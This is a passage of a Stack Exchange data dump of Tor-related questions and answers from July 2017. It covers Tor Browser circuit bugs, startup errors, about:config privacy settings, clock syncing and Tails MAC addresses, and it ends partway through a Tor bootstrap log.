  <row Id="15302" PostTypeId="2" ParentId="15295" CreationDate="2017-07-21T00:02:33.527" Score="1" Body="&lt;p&gt;There is currently a bug with Tor Browser's &lt;em&gt;New Circuit for this Site&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor Browser developers are aware of it and are working on a fix, a ticket for this bug already existed at &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/22538&quot; rel=&quot;nofollow noreferrer&quot;&gt;#22538&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(See &lt;a href=&quot;https://tor.stackexchange.com/a/12239/12737&quot;&gt;this answer&lt;/a&gt; for background on how Tor Browser handles circuit isolation.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem seems to be a bug in Tor Browser accurately telling Tor Button what URL is in the address bar. It's trying to get a new circuit for the &lt;em&gt;error page&lt;/em&gt; rather than the site in the URL bar which results in you re-using the same circuit for the actual page and being stuck on the same circuit (it seems they block at least one Dutch node, maybe all? any that generate and error page are likely to cause similar issues).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully this issue will be fixed soon. I'll update this answer if I see any news of it, otherwise you can look for updates on patch notes when the next Tor Browser is released at the &lt;a href=&quot;https://blog.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Project Blog&lt;/a&gt; or follow the ticket that I linked above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: As Yawning notes, in the meantime &lt;em&gt;New Identity&lt;/em&gt; will work since it triggers a mechanism within Tor to ensure all new connections will go over fresh circuits but this will reset your Tor Browser back to a new session as well (clearing all session data, closing all tabs, etc).&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2017-07-21T13:41:14.863" LastActivityDate="2017-07-21T13:41:14.863" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15307" PostTypeId="1" CreationDate="2017-07-21T19:33:24.343" Score="0" ViewCount="578" Body="&lt;p&gt;Macbook Pro with a full Microsoft Windows 7 64bits installed but everytime I try to run TOR, it-s unable to go somewhere, and instead I have this bizarre warning: &#xA;Unable to run TOR (0xc0000005), and I can't get it past this screeen. And I am also unable to uninstall it. It says the installer stopped working. What could that be? I am fearing it's a harware issue     &lt;/p&gt;&#xA;" OwnerUserId="18419" LastActivityDate="2022-04-01T12:07:00.677" Title="error 0xc0000005 when I run TOR" Tags="|error|startup|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15308" PostTypeId="1" CreationDate="2017-07-21T21:42:35.407" Score="0" ViewCount="1824" Body="&lt;p&gt;I've been using Tor and Orbot on my laptop and Android for almost a year and I'm totally satisfied on both devices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my laptop, I run an aftermarket firewall that I've used for many years, and it doesn't conflict with Tor. However, I'm curious if I should run one with my Android? If yes, which one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I downloaded a NoRoot firewall app recently, but after configuring it, it wouldn't allow some apps to open, and it slowed the internet even more. That app also states that it operates like a VPN.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suggestions?&lt;/p&gt;&#xA;" OwnerUserId="18421" LastActivityDate="2017-08-07T00:21:41.010" Title="Do I need a firewall with Orbot on an Android?" Tags="|firewall|" AnswerCount="1" CommentCount="4" ClosedDate="2017-08-09T13:03:09.877" ContentLicense="CC BY-SA 3.0" />
  <row Id="15310" PostTypeId="1" AcceptedAnswerId="20005" CreationDate="2017-07-22T06:12:22.613" Score="4" ViewCount="18397" Body="&lt;p&gt;I have installed tor using &lt;code&gt;brew install tor&lt;/code&gt;. I want to run tor as a service like we do in linux &lt;code&gt;sudo service tor start&lt;/code&gt;. How can I do this in my Mac OSX terminal?&#xA;By the way I'm able to start tor using &lt;code&gt;tor&lt;/code&gt; command in my cli and thats not I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to run this project which uses tor services (&lt;a href=&quot;https://github.com/DedSecInside/TorBoT&quot; rel=&quot;nofollow noreferrer&quot;&gt;GitHub Link&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="10366" LastActivityDate="2019-08-02T00:38:19.440" Title="How to start tor as a service in Mac OSX" Tags="|configuration|mac|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15321" PostTypeId="2" ParentId="15308" CreationDate="2017-07-23T17:15:40.247" Score="0" Body="&lt;p&gt;While waiting for an answer here, I did some of my own homework: in short, I've learned that many programs for laptops and desktops don't make good phone apps. While I absolutely love Tor, I finally found the problem I was having - while Tor was installed, a malware file, &quot;10008_1.jar&quot; kept downloading, then disrupting most all of my internet functions. I've had to uninstall Orbot and use another VPN. If this problem is found and cured, I'll gladly return to Tor/Orbot.&lt;/p&gt;&#xA;" OwnerUserId="18421" LastActivityDate="2017-07-23T17:15:40.247" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15322" PostTypeId="1" CreationDate="2017-07-24T04:09:36.943" Score="0" ViewCount="1715" Body="&lt;p&gt;I heard (on youtube) it's better to configure TBB using about:config&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;javascript.enabled=false&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;network.http.sendSecureXSiteReferrer=false&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;network.http.sendRefererHeader=0&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;network.cookie.cookieBehavior=2&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;extensions.torbutton.saved.sendSecureXSiteReferrer=false&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;(It seems it does not exist in recent TBB)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are they really neccessary?&#xA;Is setting the security slider to high insufficient?&lt;/p&gt;&#xA;" OwnerUserId="18442" LastEditorUserId="17825" LastEditDate="2017-07-24T23:17:54.653" LastActivityDate="2017-07-26T07:19:16.483" Title="setting the security slider to high is insufficient?" Tags="|configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15327" PostTypeId="2" ParentId="6747" CreationDate="2017-07-24T15:19:24.093" Score="0" Body="&lt;p&gt;Use the official API called &quot;onionoo&quot;.&lt;br&gt;&#xA;All you need is to count all of the relays.&lt;br&gt;&#xA;Here is the link: &lt;a href=&quot;https://onionoo.torproject.org/summary?flag=v2dir&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://onionoo.torproject.org/summary?flag=v2dir&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/qwo1v.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qwo1v.png&quot; alt=&quot;Just a pic&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17825" LastActivityDate="2017-07-24T15:19:24.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15331" PostTypeId="2" ParentId="15201" CreationDate="2017-07-25T18:52:21.903" Score="4" Body="&lt;p&gt;Tor needs an accurate clock to work correctly.&lt;br&gt;&#xA;Please sync your time with an &lt;a href=&quot;https://ru.wikipedia.org/wiki/NTP&quot; rel=&quot;nofollow noreferrer&quot;&gt;NTP (Network Time Protocol)&lt;/a&gt; server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Debian family&lt;/em&gt;&lt;/strong&gt;&lt;br&gt;&#xA;On Debian based machines use package &lt;a href=&quot;https://packages.debian.org/stretch/ntpdate&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;ntpdate&lt;/code&gt;&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo ntpdate -v pool.ntp.org&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Windows&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Win+R&lt;/li&gt;&#xA;&lt;li&gt;Type &lt;em&gt;cmd.exe&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Type following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;w32tm /config /syncfromflags:manual /manualpeerlist:pool.ntp.org  &#xA;w32tm /config /update&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Done!&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="17825" LastEditorUserId="17825" LastEditDate="2017-07-25T19:05:47.190" LastActivityDate="2017-07-25T19:05:47.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15333" PostTypeId="2" ParentId="15307" CreationDate="2017-07-25T19:48:44.183" Score="0" Body="&lt;p&gt;So after a little research, I found out that this may be an Windows patch problem.&lt;br&gt;&#xA;I'm not sure if this could help, but still try.  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Press Win+R, type &lt;code&gt;cmd.exe&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Type this: wusa.exe /uninstall /kb:2859537&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This uninstalls the patch that may cause you this trouble.&lt;/p&gt;&#xA;" OwnerUserId="17825" LastActivityDate="2017-07-25T19:48:44.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15335" PostTypeId="1" CreationDate="2017-07-26T02:53:49.203" Score="-2" ViewCount="186" Body="&lt;p&gt;I wanted to visit .onion sites without using tor.&#xA;Because tor speed  is very  slow.&#xA;Can i access tor sites using vpn-proxies? &#xA;And what types of proxies i need to use?&#xA;is it is HTTP/SOCK4/5?&#xA;Or all types of vpn-proxies support darknet access?&#xA;i dont aware about my security.&#xA; encryption doesn't matter, If speed is better.&lt;/p&gt;&#xA;" OwnerUserId="18471" LastActivityDate="2017-07-26T15:48:15.840" Title="can i access tor sites access using vpn proxies?" Tags="|proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15336" PostTypeId="1" CreationDate="2017-07-26T05:12:52.463" Score="1" ViewCount="256" Body="&lt;p&gt;Should I use same ISP for connecting to Tor and for connecting to my real life sites like email and other sites where my Last Name and First Name figure ? I know about VPNs, Bridges and other things but on Whonix website they typed &quot;They won't help against Global Adversaries&quot;. Also I've read on Hidden Wiki that is better to use your own router and ISP than a hacked Wifi. Soo my question is should have 2 ISP providers one for real life stuff and other to connect to Tor or no ? &lt;/p&gt;&#xA;" OwnerUserId="18472" LastActivityDate="2017-07-26T21:42:35.320" Title="Should use same ISP for Tor and Real life?" Tags="|anonymity|deanonymization|connection|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15337" PostTypeId="2" ParentId="15322" CreationDate="2017-07-26T07:11:52.053" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;[I've heard] it's better to configure TBB using about:config&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are potential reasons you might possibly want to do this but there are things that these direct changes do not take into account, especially with the TBB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding the listed settings specifically, the issues with them are either:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;They are items that already have counterparts in TBB without &lt;em&gt;about:config&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;They are semi-permanent solutions that can potentially cause more problems than they solve (depending on website and browsing habits).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The security concerns they address are not invalid but should be approached with thought.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It seems [about:config] does not exist in recent [versions of the] TBB.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I cannot speak for other versions, but &lt;em&gt;about:config&lt;/em&gt; is accessible in the current revision of the &lt;a href=&quot;https://www.torproject.org/download/download-easy.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Windows Tor Browser Bundle&lt;/a&gt; (v7.0.2). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The entries for &lt;em&gt;xxx.sendSecureXSiteReferrer&lt;/em&gt; do seem to be missing from the basic &lt;em&gt;about:config&lt;/em&gt; settings and likely need to be manually added if you wish to work with them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/W70v6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/W70v6.png&quot; alt=&quot;Windows Tor Browser Bundle Missing about:config Entries&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Are [changes to these settings] really necessary? Is setting the security slider to high insufficient?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It depends greatly on what you call &quot;insufficient&quot;. For the majority of users, using the &quot;High&quot; security settings in TBB is perfectly acceptable. That said, however, it does &lt;em&gt;not&lt;/em&gt; cover every possible anonymity issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;JavaScript&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;javascript.enabled=false&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As it pertains to slider coverage, this is a bit of a grey area. While &quot;High&quot; security does disable JavaScript, it doesn't actually toggle JavaScript off in &lt;em&gt;about:config&lt;/em&gt;. Instead, it uses &lt;a href=&quot;https://noscript.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;NoScript&lt;/a&gt;, which has the same effect for security purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Theoretically this could expose you if your slider settings change or NoScript is manually toggled off. However, assuming you browse any sites that you actually want JavaScript to be enabled for (some actually require it to work correctly), having the ability to toggle JavaScript on and off without accessing &lt;em&gt;about:config&lt;/em&gt; is likely a benefit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Cookies&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;network.cookie.cookieBehavior=2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://kb.mozillazine.org/Network.cookie.cookieBehavior&quot; rel=&quot;nofollow noreferrer&quot;&gt;Per this Mozilla Article&lt;/a&gt;, this disables all cookies (&quot;No cookies are allowed&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The security slider, even set at &quot;High&quot;, does not disable all cookies. But this same behavior is available in the TBB without &lt;em&gt;about:config&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Enable the Menu Bar (Along the top browser edge, right-click → Menu Bar)&lt;/li&gt;&#xA;&lt;li&gt;Select Tools → Options, then choose &quot;Privacy&quot;&lt;/li&gt;&#xA;&lt;li&gt;Uncheck &quot;Accept cookies from sites&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Below is a screen shot of &lt;em&gt;about:config&lt;/em&gt; after making these changes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/C9T27.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/C9T27.png&quot; alt=&quot;Tor Browser Bundle Cookie Setting&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;To be clear, this setting was not directly altered in about:config.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a privacy note (pun intended), while you are in the Privacy settings, I personally would also:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;check that &quot;Always use private browsing mode&quot; is marked (it should be if the security slider is set to &quot;High&quot;). &lt;/li&gt;&#xA;&lt;li&gt;empty any current cookies in the cookie cache.&lt;/li&gt;&#xA;&lt;li&gt;disable all three options for &quot;Location Bar&quot; (this helps prevent local snooping).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note that cookies are something you may wish to turn back on later depending on site requirements. But using the TBB Privacy interface is (again) probably simpler than messing with &lt;em&gt;about:config&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;HTTP(S) Referer Headers&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;network.http.sendSecureXSiteReferrer=false&#xA;extensions.torbutton.saved.sendSecureXSiteReferrer=false&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These two entries currently do not appear to be standard options available in &lt;em&gt;about:config&lt;/em&gt;. &lt;a href=&quot;http://kb.mozillazine.org/Network.http.sendSecureXSiteReferrer&quot; rel=&quot;nofollow noreferrer&quot;&gt;But since at least one seems to be a valid option regarding HTTPS Referer headers&lt;/a&gt;, these apparently need to be &lt;a href=&quot;http://kb.mozillazine.org/Editing_configuration&quot; rel=&quot;nofollow noreferrer&quot;&gt;manually added to &lt;em&gt;about:config&lt;/em&gt;&lt;/a&gt;. Regarding the basic HTTP Referer setting:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;network.http.sendRefererHeader=0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://kb.mozillazine.org/Network.http.sendRefererHeader&quot; rel=&quot;nofollow noreferrer&quot;&gt;per this Mozilla Article&lt;/a&gt;, this toggles HTTP headers off (&quot;Never send the Referer header or set document.referrer&quot;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are no settings in the TBB for Referer headers. The following paragraph from the &lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/#deprecate&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Browser Design Document&lt;/a&gt; gives us some insight:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When leaving a .onion domain we set the Referer header to the destination to avoid leaking information which might be especially problematic in the case of transitioning from a .onion domain to one reached over clearnet. Apart from that we haven't disabled or restricted the Referer ourselves because of the non-trivial number of sites that rely on the Referer header to &quot;authenticate&quot; image requests and deep-link navigation on their sites. Furthermore, there seems to be no real privacy benefit to taking this action by itself in a vacuum, because many sites have begun encoding Referer URL information into GET parameters when they need it to cross HTTP to HTTPS scheme transitions. Google's +1 buttons are the best example of this activity. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The main takeaways are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;TBB already takes some steps to obscure potentially delicate Referer information.&lt;/li&gt;&#xA;&lt;li&gt;Many (normal) sites break without HTTP Referer information.&lt;/li&gt;&#xA;&lt;li&gt;Referer information is not necessarily just in the HTTP Referer header.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So while these &lt;em&gt;about:config&lt;/em&gt; options for HTTP(S) Referer headers can be set, the points above are things to consider.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing to consider (and which is likely far more relevant for general browsing) is that sometimes Referer information can be blocked by simply not clicking links to sites but rather copying and pasting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is, when a link is copied and dropped into a new tab, the Referer header is generally blank. More broadly, many URLs come with tracking information that is not necessarily connected to actually displaying the page (and thus can safely be left off).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Leaking Referer information isn't necessarily trivial and I can't evaluate your situation. But strictly as a personal opinion, doing something like disabling Referer headers seems like a headache unless you have serious privacy concerns. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Checking Security Settings&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regardless of what settings you decide to use, I suggest you confirm that Tor is operating properly then periodically use services like &lt;a href=&quot;http://ip-check.info/&quot; rel=&quot;nofollow noreferrer&quot;&gt;JonDonym's IP Check&lt;/a&gt; and &lt;a href=&quot;https://panopticlick.eff.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;The EFF's Panopticlick&lt;/a&gt; to help verify your overall security.&lt;/p&gt;&#xA;" OwnerUserId="3027" LastEditorUserId="3027" LastEditDate="2017-07-26T07:19:16.483" LastActivityDate="2017-07-26T07:19:16.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15338" PostTypeId="1" CreationDate="2017-07-26T07:28:01.890" Score="1" ViewCount="774" Body="&lt;p&gt;On Tor website they type &lt;code&gt;The MAC address of the computer is not modified by the MAC address spoofing feature of Tails when run in a virtual machine.&lt;/code&gt;&#xA;But I'm running Tor in VirtualBox and I just checked my MAC address of Host Machine and Mac address of Tails that is running in VirtualBox and MAC addresses differ. Why ? &lt;/p&gt;&#xA;" OwnerUserId="18475" LastActivityDate="2017-11-24T16:42:48.250" Title="Mac address of Tails in VirtualBox" Tags="|tails|virtual-machine|virtualisation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15339" PostTypeId="1" CreationDate="2017-07-26T10:23:32.020" Score="1" ViewCount="154" Body="&lt;p&gt;Is there any security issues or deanonymise  techniques when a user use Tor from his tablet and from his Notebook at same moment ? Same question &quot;Is there any security issues or deanonymise  techniques when a Tor user use One Tor browser in his Host machine and other Tor browser in VirtualBox and if user is running one Tor browser in one Virtualbox Machine and other Tor browser in other VirtualBox machine(he have 2 virtualbox machines connecting to Tor) &#xA;I ask that because I know that making Tor to run through 2 &lt;/p&gt;&#xA;" OwnerUserId="18476" LastActivityDate="2017-07-26T15:12:37.983" Title="Double connection to Tor from one IP" Tags="|anonymity|deanonymization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15340" PostTypeId="2" ParentId="15339" CreationDate="2017-07-26T15:12:37.983" Score="1" Body="&lt;p&gt;No and no.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there any security issues or deanonymise techniques when a user use Tor from his tablet and from his Notebook at same moment?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You use Tor on 2 different machines. They are not connected in any way.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there any security issues or deanonymise techniques when a Tor user use One Tor browser in his Host machine and other Tor browser in VirtualBox and if user is running one Tor browser in one Virtualbox Machine and other Tor browser in other VirtualBox machine(he have 2 virtualbox machines connecting to Tor) &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Same. They use absolutely different nodes for their circuits.&lt;/p&gt;&#xA;" OwnerUserId="17825" LastActivityDate="2017-07-26T15:12:37.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15341" PostTypeId="2" ParentId="15338" CreationDate="2017-07-26T15:40:16.493" Score="1" Body="&lt;p&gt;It's easier to explain using this scheme:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8afw7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8afw7.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I may be wrong, I'm not a very active Tails user.&lt;/p&gt;&#xA;" OwnerUserId="17825" LastActivityDate="2017-07-26T15:40:16.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15342" PostTypeId="2" ParentId="15336" CreationDate="2017-07-26T15:45:23.377" Score="0" Body="&lt;p&gt;You should &lt;strong&gt;&lt;em&gt;not&lt;/em&gt;&lt;/strong&gt; connect to any sites with you real-life info.&lt;br&gt;&#xA;It's makes you unanonymous.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also please take a look at this: &lt;a href=&quot;https://www.torproject.org/download/download-easy.html.en#warning&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/download/download-easy.html.en#warning&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17825" LastEditorUserId="17825" LastEditDate="2017-07-26T20:25:54.003" LastActivityDate="2017-07-26T20:25:54.003" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15343" PostTypeId="2" ParentId="15335" CreationDate="2017-07-26T15:48:15.840" Score="1" Body="&lt;p&gt;Nope.&lt;br&gt;&#xA;You can access .onion sites only using Tor.&lt;br&gt;&#xA;Those a hosted within Tor and cannot be accessed without using Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can access tor using &lt;a href=&quot;https://tor2web.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tor2web.org/&lt;/a&gt; if you don't care about anonymity.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Also take a look at this: &lt;a href=&quot;https://www.torproject.org/docs/hidden-services&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/docs/hidden-services&lt;/a&gt;&lt;br&gt;&#xA;Its explains how does hidden services works.&lt;/p&gt;&#xA;" OwnerUserId="17825" LastActivityDate="2017-07-26T15:48:15.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15345" PostTypeId="1" CreationDate="2017-07-26T16:31:40.250" Score="1" ViewCount="623" Body="&lt;p&gt;I installed Tor on a Windows 10 Insider Build but it fails to run.  I opened Taskmanager but failed to detect any activity from Tor.  Tor has run successfully 'out of the box' under earlier builds but not under builds since 16226.  Is there a configuration issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried running in compatible mode and with admin rights to no avail.  The Tor version is configured for Windows, i.e not under Cygwin or MinGW.   The 'vanilla' version of Firefox runs, but not the TOR configured version.  I've been unable to find any console log files. &lt;/p&gt;&#xA;" OwnerUserId="18480" LastEditorUserId="13100" LastEditDate="2017-08-12T10:11:03.733" LastActivityDate="2022-01-09T11:00:40.137" Title="Tor fails to run on Windows 10 Build 16241 64 bit" Tags="|configuration|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="15346" PostTypeId="1" CreationDate="2017-07-26T19:02:57.980" Score="1" ViewCount="28" Body="&lt;pre&gt;&lt;code&gt;7/27/2017 13:56:10 PM.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;7/27/2017 13:56:10 PM.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;7/27/2017 13:56:10 PM.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;7/27/2017 13:56:10 PM.400 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;7/27/2017 13:56:10 PM.600 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;7/27/2017 13:56:10 PM.700 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;7/27/2017 13:56:11 PM.000 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &#xA;7/27/2017 13:56:11 PM.100 [NOTICE] Bootstrapped 20%: Asking for networkstatus consensus &#xA;7/27/2017 13:56:11 PM.200 [NOTICE] Bootstrapped 25%: Loading networkstatus consensus &#xA;7/27/2017 13:56:14 PM.000 [WARN] Received directory with skewed time (DIRSERV:199.254.238.53:443): It seems that our clock is ahead by 1 days, 1 hours, 58 minutes, or that theirs is behind. Tor requires an accurate clock to work: please check your time, timezone, and date settings. &#xA;7/27/2017 13:56:14 PM.000 [NOTICE] Bootstrapped 45%: Asking for relay descriptors &#xA;7/27/2017 13:56:14 PM.000 [NOTICE] I learned some more directory information, but not enough to build a circuit: We need more microdescriptors: we have 4719/6964, and can only build 30% of likely paths. (We have 65% of guards bw, 66% of midpoint bw, and 70% of exit bw = 30% of path bw.) &#xA;7/27/2017 13:56:14 PM.900 [NOTICE] Bootstrapped 64%: Loading relay descriptors &#xA;7/27/2017 13:56:16 PM.100 [NOTICE] Bootstrapped 72%: Loading relay descriptors &#xA;7/27/2017 13:56:16 PM.500 [NOTICE] Bootstrapped 78%: Loading relay descriptors &#xA;7/27/2017 13:56:16 PM.700 [NOTICE] Bootstrapped 80%: Connecting to the Tor network &#xA;7/27/2017 13:56:17 PM.000 [WARN] Failed to find node for hop 0 of our path. Discarding this circuit. &#xA;&#xA;                             ---- Message spams... ----&#xA;&#xA;7/27/2017 13:59:16 PM.200 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;7/27/2017 13:59:16 PM.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;7/27/2017 13:59:16 PM.200 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;7/27/2017 13:59:17 